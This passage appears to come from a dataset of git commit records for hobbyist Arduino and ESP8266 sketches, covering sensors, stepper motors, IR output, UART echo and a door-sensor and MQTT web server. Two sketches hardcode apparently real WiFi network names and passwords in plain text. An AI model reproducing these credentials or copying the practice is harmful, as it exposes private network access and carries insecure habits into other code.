pin=0; pin < RF_PINS_PER_SOURCE; ++pin)\n {\n if (PIN_DISABLED(pin))\n continue;\n if (hasTransmitted) sleep(16);\n transmitTemp(pin);\n hasTransmitted = true;\n }\n \n rf12_sleep(RF12_SLEEP);\n if (_pinLedTx != 0xff)\n {\n digitalWrite(_pinLedTx, HIGH);\n sleep(16);\n digitalWrite(_pinLedTx, LOW);\n }\n}\n\nstatic void enableAdcPullups(void)\n{\n for (unsigned char pin=0; pin < RF_PINS_PER_SOURCE; ++pin)\n {\n if (PIN_DISABLED(pin))\n continue;\n\n \/\/ The probe themistor voltage dividers are normally powered down\n \/\/ to save power, using digital lines to supply Vcc to them.\n \/\/ Lines are used sequentially starting from _pinProbeSupplyBase\n \/\/ Note you can use the analog internal pullups as the fixed half of\n \/\/ the divider by setting this value to A0 (or higher).\n \/\/ The analog pullups are 20k-40kOhms, about 36k on my handful of chips.\n \/\/ If using digital lines you will supply your own resistor for the fixed half.\n digitalWrite(_pinProbeSupplyBase + pin, HIGH);\n }\n}\n\nstatic void stabilizeAdc(void)\n{\n const unsigned char INTERNAL_REF = 0b1110;\n unsigned int last;\n unsigned int totalCnt = 0;\n unsigned int sameCnt = 0;\n unsigned int curr = analogReadSleep(INTERNAL_REF);\n \/\/ Reads the adc a bunch of times until the value settles\n \/\/ Usually you hear \"discard the first few ADC readings after sleep\"\n \/\/ but this seems a bit more scientific as we wait for the AREF cap to charge\n do {\n ++totalCnt;\n#ifdef LMREMOTE_SERIAL\n Serial.print(curr, DEC);\n Serial.print(' ');\n#endif\n last = curr;\n curr = analogReadSleep(INTERNAL_REF);\n if (last == curr)\n ++sameCnt;\n else\n sameCnt = 0;\n } while ((totalCnt < 64) && (sameCnt < 4));\n}\n\nstatic void checkTemps(void)\n{\n const unsigned char OVERSAMPLE_COUNT[] = {1, 4, 16, 64}; \/\/ 4^n\n boolean modified = false;\n unsigned int oversampled_adc = 0;\n\n#ifdef LMREMOTE_SERIAL\n Serial.print(millis(), DEC);\n Serial.print(\" Checking temps: \");\n#endif\n\n \/\/ Enable the ADC\n ADCSRA |= bit(ADEN);\n enableAdcPullups();\n stabilizeAdc();\n for (unsigned char pin=0; pin < RF_PINS_PER_SOURCE; ++pin)\n {\n if (PIN_DISABLED(pin))\n continue;\n\n for (unsigned char o=0; o<OVERSAMPLE_COUNT[TEMP_OVERSAMPLE_BITS]; ++o)\n {\n unsigned int adc = analogReadSleep(pin);\n if (adc == 0 || adc >= 1023)\n {\n oversampled_adc = 0;\n break;\n }\n oversampled_adc += adc;\n }\n oversampled_adc = oversampled_adc >> TEMP_OVERSAMPLE_BITS;\n\n#ifdef LMREMOTE_SERIAL\n Serial.print(oversampled_adc, DEC); Serial.print(' ');\n#endif\n if (oversampled_adc != _previousReads[pin])\n modified = true;\n _previousReads[pin] = oversampled_adc;\n\n digitalWrite(_pinProbeSupplyBase + pin, LOW);\n }\n\n#ifdef LMREMOTE_SERIAL\n Serial.print('\\n');\n#endif\n\n if (modified || (_sameCount > (30 \/ _sleepInterval)))\n {\n _sameCount = 0;\n newTempsAvailable();\n }\n else\n ++_sameCount;\n \/\/ Disable the ADC\n ADCSRA &= ~bit(ADEN);\n\n _tempReadLast = millis();\n}\n\nstatic void setupSupplyPins(void)\n{\n \/\/ Analog pullup supply pins don't need DIR set\n if (_pinProbeSupplyBase >= A0)\n return;\n for (unsigned char pin=0; pin < RF_PINS_PER_SOURCE; ++pin)\n {\n if (PIN_DISABLED(pin))\n continue;\n pinMode(_pinProbeSupplyBase + pin, OUTPUT);\n }\n}\n\nvoid setup(void)\n{\n \/\/ Turn off the units we never use (this only affects non-sleep power)\n PRR = bit(PRUSART0) | bit(PRTWI) | bit(PRTIM1) | bit(PRTIM2);\n \/\/ Disable digital input buffers on the analog in ports\n DIDR0 = bit(ADC5D) | bit(ADC4D) | bit(ADC3D) | bit(ADC2D) | bit(ADC1D) | bit(ADC0D);\n DIDR1 = bit(AIN1D) | bit(AIN0D);\n\n#ifdef LMREMOTE_SERIAL\n PRR &= ~bit(PRUSART0);\n Serial.begin(LMREMOTE_SERIAL); Serial.println(\"$UCID,lmremote\"); delay(10);\n#endif\n\n rf12_initialize(1, _rfBand);\n \/\/ Crystal 1.66MHz Low Battery Detect 2.2V\n rf12_control(0xC040);\n\n if (_pinLedRx != 0xff) pinMode(_pinLedRx, OUTPUT);\n if (_pinLedTx != 0xff) pinMode(_pinLedTx, OUTPUT);\n\n setupSupplyPins();\n\n \/\/ Force a transmit on next read\n memset(_previousReads, 0xff, sizeof(_previousReads));\n}\n\nvoid loop(void)\n{\n if (_loopCnt % 2 == 0)\n checkTemps();\n\n#ifdef LMREMOTE_SERIAL\n Serial.flush(); delay(2);\n#endif\n\n if (_recvLast == 0)\n resetEstimate();\n else\n optimalSleep();\n rf12_sleep(RF12_SLEEP);\n\n ++_loopCnt;\n}\n\n\n","returncode":0,"stderr":"","license":"mit","lang":"Arduino"} {"commit":"a5a5b22bcc34b045332f17659586749897757b51","subject":"add port register test code using DDRD","message":"add port register test code using DDRD\n","repos":"simplyellow\/auto-sumo","old_file":"Kirbi\/testing\/port_manipulation\/port_manipulation.ino","new_file":"Kirbi\/testing\/port_manipulation\/port_manipulation.ino","new_contents":"byte pinTable[] = {2};\n\nvoid setup() {\nSerial.begin(0);\nfor (int i=0; i<8; i++) { pinMode(pinTable[i],INPUT_PULLUP); } \n}\n\nvoid loop() {\nbyte eight,prev_eight;\ndo {\neight = GPIOD_PDIR & 0xFF;\n\nif (eight != prev_eight)\n{\nprev_eight = eight;\nSerial.println(eight,HEX);\n}\n} while (1==1);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Kirbi\/testing\/port_manipulation\/port_manipulation.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"043882b7ca18a7b87e45782433563eda7e00bf8a","subject":"Add demo on new functionality","message":"Add demo on new functionality\n\nThis demo shows how the new functionality added here can be used - it\nallows the user to interactively toggle IR signal modulation and\ninversion using the serial connection.\n","repos":"aaronsnoswell\/Arduino-IRremote,aaronsnoswell\/Arduino-IRremote","old_file":"examples\/IRInvertModulate\/IRInvertModulate.ino","new_file":"examples\/IRInvertModulate\/IRInvertModulate.ino","new_contents":"\/*\n * IRremote: IRInvertModulate - demonstrates the ability enable\/disable\n * IR signal modulation and inversion.\n * An IR LED must be connected to Arduino PWM pin 3.\n * To view the results, attach an Oscilloscope or Signal Analyser across the\n * legs of the IR LED.\n * Version 0.1 November, 2013\n * Copyright 2013 Aaron Snoswell\n * http:\/\/elucidatedbinary.com\n *\/\n\n#include <IRremote.h>\n\nIRsend irsend;\n\nvoid setup()\n{\n Serial.begin(9600);\n Serial.println(\"Welcome, visitor\");\n Serial.println(\"Press 'm' to toggle IR modulation\");\n Serial.println(\"Press 'i' to toggle IR inversion\");\n}\n\nbool modulate = true;\nbool invert = false;\n\nvoid loop() {\n if (!Serial.available()) {\n \/\/ Send some random data\n irsend.sendNEC(0xa90, 12);\n } else {\n char c;\n do {\n c = Serial.read();\n } while(Serial.available());\n\n if(c == 'm') {\n modulate = !modulate;\n if(modulate) Serial.println(\"Enabling Modulation\");\n else Serial.println(\"Disabling Modulation\");\n irsend.enableIRModulation(modulate);\n } else if(c == 'i') {\n invert = !invert;\n if(invert) Serial.println(\"Enabling Invert\");\n else Serial.println(\"Disabling Invert\");\n irsend.enableIRInvert(invert);\n } else {\n Serial.println(\"Unknown Command\");\n }\n }\n\n delay(300);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/IRInvertModulate\/IRInvertModulate.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"05876046b092d5d1500f3bc2fafd8a95e4b2ac4d","subject":"Found code","message":"Found code\n\nFound some missing code for the project from before my computer crashed.\nHopefully it still works. The code was to run an arduino bluno (some off\nbrand bluetooth arduino uno).\n","repos":"paulchorba\/TrueVR,paulchorba\/TrueVR","old_file":"Arduino code\/sketch_sep29a\/sketch_sep29a.ino","new_file":"Arduino code\/sketch_sep29a\/sketch_sep29a.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino' did not match any file(s) known to git\nerror: pathspec 'code\/sketch_sep29a\/sketch_sep29a.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"4b2d6b8630f9d759a5302e918c21d4bf34fada8b","subject":"Teste passo","message":"Teste passo\n","repos":"jefersonla\/robozino,jefersonla\/robozino","old_file":"utils\/testSketch\/testeStep.ino","new_file":"utils\/testSketch\/testeStep.ino","new_contents":"\/* Bibliotecas de Controle de Motores de passo *\/\n\/* #include <Stepper.h> *\/\n\/* #include <AccelStepper.h> *\/\n#include <CustomStepper.h> \/* http:\/\/playground.arduino.cc\/uploads\/Main\/CustomStepper.zip *\/\n\n\/* Define pinos *\/\n#define DIRECAO_DIREITA_1 8\n#define DIRECAO_DIREITA_2 9\n\n#define DIRECAO_ESQUERDA_1 10\n#define DIRECAO_ESQUERDA_2 11\n\n\/* Define v\u00e1riaveis do motor *\/\n#define NUMERO_PASSOS 4075.7728395\n#define VELOCIDADE_RPM 12\n#define ANGULO_GIRO 90\n\n\/* Define os parametros iniciais de ligacao do motor de passo *\/\nCustomStepper stepper(DIRECAO_DIREITA_1, DIRECAO_DIREITA_2, DIRECAO_ESQUERDA_1, DIRECAO_ESQUERDA_2, (byte[]) {\n 8, B1000, B1100, B0100,\n B0110, B0010, B0011, B0001, B1001\n}, NUMERO_PASSOS, VELOCIDADE_RPM, CW);\n\n\/* Funcoes *\/\n\n#define IR_PARA_FRENTE() do { stepper.setDirection(CW); stepper.setRPM(VELOCIDADE_RPM); } while(false)\n#define IR_PARA_TRAS() do { stepper.setDirection(CCW); stepper.setRPM(VELOCIDADE_RPM); } while(false)\n#define GIRAR_ESQUERDA() do { stepper.setDirection(CCW); stepper.rotateDegrees(ANGULO_GIRO); } while(false)\n#define GIRAR_DIREITA() do { stepper.setDirection(CW); stepper.rotateDegrees(ANGULO_GIRO); } while(false)\n#define FREIO() do { stepper.setDirection(STOP); } while(false)\n\nvoid setup() {\n serial.begin(115200);\n\n pinMode(DIRECAO_DIREITA_1, OUTPUT);\n pinMode(DIRECAO_DIREITA_2, OUTPUT);\n pinMode(DIRECAO_ESQUERDA_1, OUTPUT);\n pinMode(DIRECAO_ESQUERDA_2, OUTPUT);\n\n}\n\nvoid loop() {\n stepper.run();\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'utils\/testSketch\/testeStep.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"706a2ba43758eafc73b76fc52b6951091717180a","subject":"Initial commit of arduino code","message":"Initial commit of arduino code\n","repos":"MattFerraro\/scatdat,MattFerraro\/scatdat,MattFerraro\/scatdat","old_file":"scatdat_v2.ino","new_file":"scatdat_v2.ino","new_contents":"\/\/ Code for Scatdat door sensors with power saving shield installed.\n\/\/ Arduino ESP8266 Wifi library\n#include <ESP8266WiFi.h>\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Constant Definitions \/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n#define CLOSED 0\n#define OPEN 1\n#define VOLTAGE_DIVIDER_CONST 5.7\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ WiFi Definitions \/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nconst char WIFI_SSID[] = \"exoplanet\"; \/\/planetoids\nconst char WIFI_PSK[] = \"kEf8Qr28vNSv\"; \/\/62D4A6ED\nconst char STALL_ID[] = \"Floor2Mens1\";\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Remote Site Definitions \/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nconst char http_site[] = \"scatdat.earth.planet.com\";\nconst int http_port = 5000;\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Pin Definitions \/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nconst int LED_PIN = 5;\nconst int ANALOG_PIN = A0; \/\/ The only analog pin on the Thing\nconst int DOOR_SENSOR_PIN = 4; \/\/ Digital pin to be read\nconst int SLEEP_TIME_S = 3600; \/\/sleep time between non door wakeups (in seconds), max is about 1 hr\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Global Variables \/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nWiFiClient client;\nint doorState = OPEN;\nint analogValue = 0;\nint vbatt = 0;\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ connectWiFi Function \/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nvoid connectWiFi() {\n \n byte led_status = 0;\n \n \/\/ Set WiFi mode to station (client)\n WiFi.mode(WIFI_STA);\n \n \/\/ Initiate connection with SSID and PSK\n WiFi.begin(WIFI_SSID, WIFI_PSK);\n \n \/\/ Blink LED while we wait for WiFi connection\n while ( WiFi.status() != WL_CONNECTED ) {\n digitalWrite(LED_PIN, led_status);\n led_status ^= 0x01;\n delay(100);\n }\n \n \/\/ Turn LED on when we are connected\n digitalWrite(LED_PIN, LOW);\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ postEvent Function \/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Perform an HTTP POST to a remote page\nbool postEvent(int doorOpen,int battmV) {\n char paramString[256];\n Serial.println(\"Attempting to connect to\");\n sprintf(paramString,\"%s:%i\",http_site,http_port); \n Serial.print(paramString);\n \n \/\/ Attempt to make a connection to the remote server\n if ( !client.connect(http_site, http_port) ) {\n return false;\n }\n \/\/ Construct parameter string\n sprintf(paramString,\"?stallId=%s&doorOpen=%i&battV=%i\",STALL_ID,doorOpen,battmV);\n \/\/ Make an HTTP GET request\n client.print(\"GET \/newdata\");\n client.print(paramString); \n client.println(\" HTTP\/1.1\");\n client.print(\"Host: \");\n client.println(http_site);\n client.println(\"Connection: close\");\n client.println();\n \n return true;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ initHardware Function \/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nvoid initHardware(){\n Serial.begin(9600);\n \/\/ Set door sensor pin as input, no pull up needed because there is an external pull up\n pinMode(DOOR_SENSOR_PIN, INPUT);\n \/\/ Set led pin as output and turn it off\n pinMode(LED_PIN, OUTPUT);\n digitalWrite(LED_PIN, LOW);\n \/\/ Don't need to set ANALOG_PIN as input, that's all it can be.\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ calcBattVoltage Function \/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nint calcBattmV(int analogValue){\n \/\/ Input is the ADC, its 10 bit so 0-1023 for 1V FSR\n \/\/ The power saver has a built in voltage divider\n \/\/ R1 = 470000 R2 = 100000\n \/\/ VOUT = R2\/ (R1+R2) * VIN\n float v_adc = 0;\n float battmV = 0;\n v_adc = (float) analogValue \/ 1023;\n battmV = VOLTAGE_DIVIDER_CONST * v_adc * 1000;\n return (int) battmV;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ setup Function \/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nvoid setup() {\n\n \/\/ setup pins\/serial comms\n initHardware();\n \n \/\/ connect to the newtwork\n connectWiFi();\n\n \/\/ turn on LED\n digitalWrite(LED_PIN, HIGH);\n\n \/\/ Read door sensor state\n doorState = digitalRead(DOOR_SENSOR_PIN);\n \n \/\/ get analog reading & calculate battery voltage\n analogValue = analogRead(ANALOG_PIN);\n vbatt = calcBattmV(analogValue);\n\n \/\/ Post the data\n if (!postEvent(doorState,vbatt)) {\n Serial.println(\"POST request failed\");\n }\n\n \/\/ turn off LED\n digitalWrite(LED_PIN,LOW);\n\n \/\/ go into deep sleep mode\n ESP.deepSleep(SLEEP_TIME_S * 1000000, WAKE_RF_DEFAULT);\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ loop Function \/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nvoid loop() {\n \/\/ intentially left empty\n }\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'scatdat_v2.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"24edf08e087e0cecd4cb14e7d9bf026a80962dda","subject":"half step done! \tnew file: half_expriment\/half_expriment.ino","message":"half step done!\n\tnew file: half_expriment\/half_expriment.ino\n","repos":"Mooophy\/stepper-gui-control","old_file":"half_expriment\/half_expriment.ino","new_file":"half_expriment\/half_expriment.ino","new_contents":"const int A = 8;\nconst int B = 9;\nconst int C = 10;\nconst int D = 11;\n\nint count = 12;\n\n\/\/ speed at 20-500\nconst unsigned width = 20;\n\nvoid setup() { \n pinMode(A, OUTPUT); \n pinMode(B, OUTPUT); \n pinMode(C, OUTPUT); \n pinMode(D, OUTPUT); \n}\n\nvoid loop() {\n\n while(count > 0)\n {\n digitalWrite(A, HIGH);\n digitalWrite(B, LOW);\n digitalWrite(C, HIGH);\n digitalWrite(D, LOW);\n delay(width);\n \n digitalWrite(A, HIGH);\n digitalWrite(B, LOW);\n digitalWrite(C, LOW);\n digitalWrite(D, LOW);\n delay(width);\n\n digitalWrite(A, HIGH);\n digitalWrite(B, LOW);\n digitalWrite(C, LOW);\n digitalWrite(D, HIGH);\n delay(width);\n \n digitalWrite(A, LOW);\n digitalWrite(B, LOW);\n digitalWrite(C, LOW);\n digitalWrite(D, HIGH);\n delay(width);\n\n digitalWrite(A, LOW);\n digitalWrite(B, HIGH);\n digitalWrite(C, LOW);\n digitalWrite(D, HIGH);\n delay(width);\n \n digitalWrite(A, LOW);\n digitalWrite(B, HIGH);\n digitalWrite(C, LOW);\n digitalWrite(D, LOW);\n delay(width);\n \n digitalWrite(A, LOW);\n digitalWrite(B, HIGH);\n digitalWrite(C, HIGH);\n digitalWrite(D, LOW);\n delay(width);\n \n digitalWrite(A, LOW);\n digitalWrite(B, LOW);\n digitalWrite(C, HIGH);\n digitalWrite(D, LOW);\n delay(width);\n \n --count;\n}\n delay(3000);\n count = 12;\n\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'half_expriment\/half_expriment.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"63ddef05c81f5a4bf5a633517d93143834d78c8c","subject":"One pot controlling speed output","message":"One pot controlling speed output\n","repos":"SaintGimp\/MotorController","old_file":"ArduinoPrototype\/ArduinoPrototype.ino","new_file":"ArduinoPrototype\/ArduinoPrototype.ino","new_contents":"\/*\n Analog input, analog output, serial output\n \n Reads an analog input pin, maps the result to a range from 0 to 255\n and uses the result to set the pulsewidth modulation (PWM) of an output pin.\n Also prints the results to the serial monitor.\n \n The circuit:\n * potentiometer connected to analog pin 0.\n Center pin of the potentiometer goes to the analog pin.\n side pins of the potentiometer go to +5V and ground\n * LED connected from digital pin 9 to ground\n \n created 29 Dec. 2008\n modified 9 Apr 2012\n by Tom Igoe\n \n This example code is in the public domain.\n \n *\/\n\n\/\/ These constants won't change. They're used to give names\n\/\/ to the pins used:\nconst int analogInPin = A0; \/\/ Analog input pin that the potentiometer is attached to\nconst int analogOutPin = 9; \/\/ Analog output pin that the LED is attached to\n\nint inputValue = 0; \/\/ value read from the pot\n\n\nint targetOutputValue = 0;\nint currentOutputValue = 0;\nint delayBetweenAdjustments = 15;\n\nint analogInCeiling = 1000;\n\nvoid setup() {\n \/\/ initialize serial communications at 9600 bps:\n Serial.begin(9600); \n}\n\nvoid loop() {\n int difference = 0;\n\n inputValue = analogRead(analogInPin);\n inputValue = constrain(inputValue, 0, analogInCeiling);\n targetOutputValue = map(inputValue, 0, analogInCeiling, 0, 255);\n \n currentOutputValue += SlewToward(currentOutputValue, targetOutputValue);\n analogWrite(analogOutPin, currentOutputValue); \n\n \/\/ print the results to the serial monitor:\n\/\/ Serial.print(\"sensor = \" ); \n\/\/ Serial.print(inputValue); \n\/\/ Serial.print(\"\\t current = \"); \n\/\/ Serial.println(targetOutputValue); \n\/\/ Serial.print(\"\\t target = \"); \n\/\/ Serial.println(targetOutputValue); \n\n delay(delayBetweenAdjustments); \n}\n\nint SlewToward(int currentValue, int targetValue)\n{\n if (currentValue > targetValue)\n {\n return -1;\n }\n else if (currentValue < targetValue)\n {\n return 1;\n }\n else\n {\n return 0;\n }\n}\n\n","old_contents":"","returncode":128,"stderr":"fatal: invalid reference: FETCH_HEAD^\n","license":"mit","lang":"Arduino"} {"commit":"7d618291624f351343088d2881cc7c864c5e33e0","subject":"Adding an UART example sketch with line scanning.","message":"Adding an UART example sketch with line scanning.\n","repos":"SinishaDjukic\/Meshwork,jeditekunum\/Cosa,mikaelpatel\/Cosa,rrobinet\/Cosa,SinishaDjukic\/Meshwork,dansut\/Cosa,dansut\/Cosa,kc9jud\/Cosa,kc9jud\/Cosa,dansut\/Cosa,jeditekunum\/Cosa,kc9jud\/Cosa,jeditekunum\/Cosa,mikaelpatel\/Cosa,kc9jud\/Cosa,SinishaDjukic\/Meshwork,dansut\/Cosa,mikaelpatel\/Cosa,SinishaDjukic\/Meshwork,jeditekunum\/Cosa,rrobinet\/Cosa,mikaelpatel\/Cosa,rrobinet\/Cosa,rrobinet\/Cosa","old_file":"examples\/Sandbox\/CosaUART\/CosaUART.ino","new_file":"examples\/Sandbox\/CosaUART\/CosaUART.ino","new_contents":"\/**\n * @file CosaUART.ino\n * @version 1.0\n *\n * @section License\n * Copyright (C) 2013, Mikael Patel\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n * \n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n * \n * @section Description\n * Cosa IOStream::Device UART line scan example.\n * \n * This file is part of the Arduino Che Cosa project.\n *\/\n\n#include \"Cosa\/Power.hh\"\n#include \"Cosa\/Watchdog.hh\"\n#include \"Cosa\/Trace.hh\"\n#include \"Cosa\/IOStream\/Driver\/UART.hh\"\n\nvoid setup()\n{\n \/\/ Start the UART and Watchdog\n uart.begin(9600);\n trace.begin(&uart, PSTR(\"CosaUART: started\"));\n Watchdog::begin();\n}\n\nvoid loop()\n{\n \/\/ Count the number of wake-ups\n static uint32_t n = 0;\n\n \/\/ Sleep and wait for something to happen\n Power::sleep(SLEEP_MODE_IDLE);\n n += 1;\n \n \/\/ Check if a complete line is available\n if (uart.peekchar('\\n') < 0) return;\n\n \/\/ Scan the line. Skip empty lines\n char s[32];\n if (uart.gets(s, sizeof(s)) == NULL) return;\n\n \/\/ Echo the line with some time statistics\n trace << Watchdog::millis() << ':' << n << ':';\n trace << PSTR(\"echo('\") << s << PSTR(\"')\") << endl;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/Sandbox\/CosaUART\/CosaUART.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"68e45a599435282574b27853405313f2a9c3886b","subject":"Start of esp8266 firmware and HTML color picker.","message":"Start of esp8266 firmware and HTML color picker.\n","repos":"mrdunk\/esp8266_mqtt_kitchensink,mrdunk\/esp8266_mqtt_kitchensink,mrdunk\/esp8266_mqtt_kitchensink,mrdunk\/esp8266_mqtt_kitchensink","old_file":"TestServer.ino","new_file":"TestServer.ino","new_contents":"#include <ESP8266WiFi.h>\n#include <WiFiClient.h>\n#include <ESP8266WebServer.h>\n#include <ESP8266mDNS.h>\n#include <PubSubClient.h>\n#include <EEPROM.h>\n\n#define CONFIG_VERSION \"001\"\n#define MAX_BROKERS 16\n\nenum device_type {\n test,\n rgb,\n pwm,\n onoff\n};\n\ntypedef struct Connected_device {\n char unique_id[32];\n char room[32];\n device_type type;\n int io_pins[4];\n} Connected_device;\n\nstruct Config {\n char hostname[32];\n IPAddress brokers[MAX_BROKERS];\n int port;\n Connected_device devices[8];\n char version_of_program[4];\n} config = {\n \"esp8266\",\n {IPAddress(192, 168, 192, 9)},\n 1883,\n {},\n \"000\"\n};\n\n\n\nconst char* ssid = \"Pretty fly for a wifi\";\nconst char* password = \"white1331\";\nMDNSResponder mdns;\nString mac_address;\nconst int led = 2;\n\n\nString ip_to_string(IPAddress ip){\n String return_value;\n for (byte thisByte = 0; thisByte < 4; thisByte++) {\n return_value += ip[thisByte];\n return_value += \".\";\n }\n return return_value;\n}\n\nIPAddress string_to_ip(String ip_str){\n uint8_t a, b, c, d, dot, last_dot = 0;\n\n dot = ip_str.indexOf('.');\n a = ip_str.substring(last_dot, dot).toInt();\n \n last_dot = dot +1;\n dot = ip_str.indexOf('.', dot +1);\n b = ip_str.substring(last_dot, dot).toInt();\n \n last_dot = dot +1;\n dot = ip_str.indexOf('.', dot +1);\n c = ip_str.substring(last_dot, dot).toInt();\n \n last_dot = dot +1;\n d = ip_str.substring(last_dot).toInt();\n \n return IPAddress(a, b, c, d);\n}\n\n\n\/\/ Read\/write config to EPROM.\nvoid epromSetup()\n{\n EEPROM.begin(sizeof(config));\n}\n\nint readConfig() {\n if (EEPROM.read(sizeof(config) - 1) == config.version_of_program[3] && \/\/ this is '\\0'\n EEPROM.read(sizeof(config) - 2) == config.version_of_program[2] &&\n EEPROM.read(sizeof(config) - 3) == config.version_of_program[1] &&\n EEPROM.read(sizeof(config) - 4) == config.version_of_program[0]) {\n \/\/ config version matches.\n for (unsigned int t = 0; t < sizeof(config); t++) {\n *((char*)&config + t) = EEPROM.read(t);\n }\n } else {\n Serial.println(\"\");\n Serial.print(\"Invalid config version:\");\n Serial.println(config.version_of_program);\n Serial.println(\"Using defaults.\");\n return 0;\n }\n return 1;\n}\n\nint writeConfig() {\n int return_value = 1;\n for (unsigned int t = 0; t < sizeof(config); t++) {\n EEPROM.write(t, *((char*)&config + t));\n if (EEPROM.read(t) != *((char*)&config + t)){\n Serial.print(\"Error writing config.\");\n return_value = 0;\n }\n }\n EEPROM.commit();\n return return_value;\n}\n\n\/\/ Configuration\nbool configAddBroker(String broker){\n for (uint8_t b = 0; b < MAX_BROKERS; ++b){\n if(config.brokers[b] == string_to_ip(broker)){\n \/\/ Already exists.\n return true;\n }\n if(config.brokers[b] == IPAddress(0,0,0,0)){\n \/\/ Empty slot so add the new one.\n config.brokers[b] = string_to_ip(broker);\n return true;\n }\n }\n return false;\n}\n\nbool configRemoveBroker(String broker){\n for (uint8_t b = 0; b < MAX_BROKERS; ++b){\n if(config.brokers[b] == string_to_ip(broker)){\n config.brokers[b] == IPAddress(0,0,0,0);\n return true;\n }\n }\n return false;\n}\n\n\n\/\/ MQTT\nIPAddress mqtt_broker(192, 168, 192, 9);\n\nvoid mqtt_callback(const MQTT::Publish& pub) {\n Serial.print(\"MQTT callback\");\n Serial.print(pub.topic());\n Serial.print(\" => \");\n Serial.println(pub.payload_string());\n}\n\nPubSubClient mqtt_client(mqtt_broker);\n\n\n\/\/ HTTP\nESP8266WebServer http_server(80);\n\nvoid handleRoot() {\n digitalWrite(led, 1);\n int b;\n \n String message = \"hello from esp8266!\\n\";\n\n for (b = 0; b < http_server.args(); ++b){\n message += \"arg: \" + http_server.argName(b) + \" val: \" + http_server.arg(b) + \"\\n\";\n }\n message += \"hostname: \";\n message += config.hostname;\n message += \"\\n\";\n \n message += \"method: \";\n if ( http_server.method() == HTTP_GET) {\n message += \"HTTP_GET\";\n } else if (http_server.method() == HTTP_POST){\n message += \"HTTP_POST\";\n } else {\n message += \"unknown\";\n }\n message += \"\\n\";\n \n message += \"brokers:\\n\";\n for (b = 0; b < MAX_BROKERS; ++b){\n message += \" \" + ip_to_string(config.brokers[b]);\n message += \"\\n\";\n }\n message += \"\\n\";\n message += \"port: \";\n message += config.port;\n message += \"\\n\";\n message += \"version: \";\n message += config.version_of_program;\n \n http_server.send(200, \"text\/plain\", message);\n digitalWrite(led, 0);\n}\n\nvoid handleConfig() {\n String message = \"\";\n if(http_server.hasArg(\"add_broker\")){\n if(configAddBroker(http_server.arg(\"add_broker\"))){\n message += \"Added broker: \" + http_server.arg(\"add_broker\") + \"\\n\";\n } else {\n message += \"Failed to add broker: \" + http_server.arg(\"add_broker\") + \"\\n\";\n }\n }\n if(http_server.hasArg(\"delete_broker\")){\n if(configRemoveBroker(http_server.arg(\"delete_broker\")){\n message += \"Deleted broker: \" + http_server.arg(\"add_broker\") + \"\\n\";\n } else {\n message += \"Failed to delete broker: \" + http_server.arg(\"add_broker\") + \"\\n\";\n }\n }\n \n http_server.send(200, \"text\/plain\", message);\n}\n\nvoid handleNotFound() {\n digitalWrite(led, 1);\n String message = \"File Not Found\\n\\n\";\n message += \"URI: \";\n message += 